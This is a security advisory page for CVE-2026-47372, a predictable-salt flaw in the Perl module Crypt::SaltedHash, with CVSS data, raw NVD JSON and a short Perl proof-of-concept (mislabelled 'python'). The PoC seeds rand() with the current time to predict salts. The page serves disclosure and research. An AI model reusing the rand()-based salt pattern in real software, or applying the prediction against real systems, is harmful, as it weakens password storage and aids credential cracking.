Security Vulnerability Report
中文
CVE-2026-47372 CVSS 9.1 CRITICAL

CVE-2026-47372

Published: 2026-05-20 22:16:37
Last Modified: 2026-05-21 16:04:54
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

Crypt::SaltedHash versions through 0.09 for Perl generate insecure random values for salts. These versions use the built-in rand function, which is predictable and unsuitable for cryptography.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Crypt::SaltedHash <= 0.09

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/perl use strict; use warnings; # This PoC demonstrates the predictability of using rand() for salt generation. # In Crypt::SaltedHash <= 0.09, salt generation relied on non-cryptographic rand(). sub generate_vulnerable_salt { my $length = 8; my $salt = ""; for (1..$length) { # Vulnerable: using built-in rand which is predictable $salt .= chr(int(rand(256))); } return $salt; } # Simulation: If an attacker guesses the seed (e.g., based on time) my $guessed_seed = time(); srand($guessed_seed); my $predicted_salt = generate_vulnerable_salt(); print "[+] Predicted Salt (using guessed seed): " . unpack("H*", $predicted_salt) . "\n"; # If the server generates a hash at the same second, the salt will match. print "[!] An attacker can use this predicted salt to pre-compute hash tables.\n";

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-47372", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-05-20T22:16:37.270", "lastModified": "2026-05-21T16:04:53.813", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Crypt::SaltedHash versions through 0.09 for Perl generate insecure random values for salts.\n\nThese versions use the built-in rand function, which is predictable and unsuitable for cryptography."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-338"}]}], "references": [{"url": "https://github.com/robrwo/perl-Crypt-SaltedHash/commit/9b68437d2cd420b819b3a795474c3870338d38d5.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://metacpan.org/release/RRWO/Crypt-SaltedHash-0.10/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/20/22", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}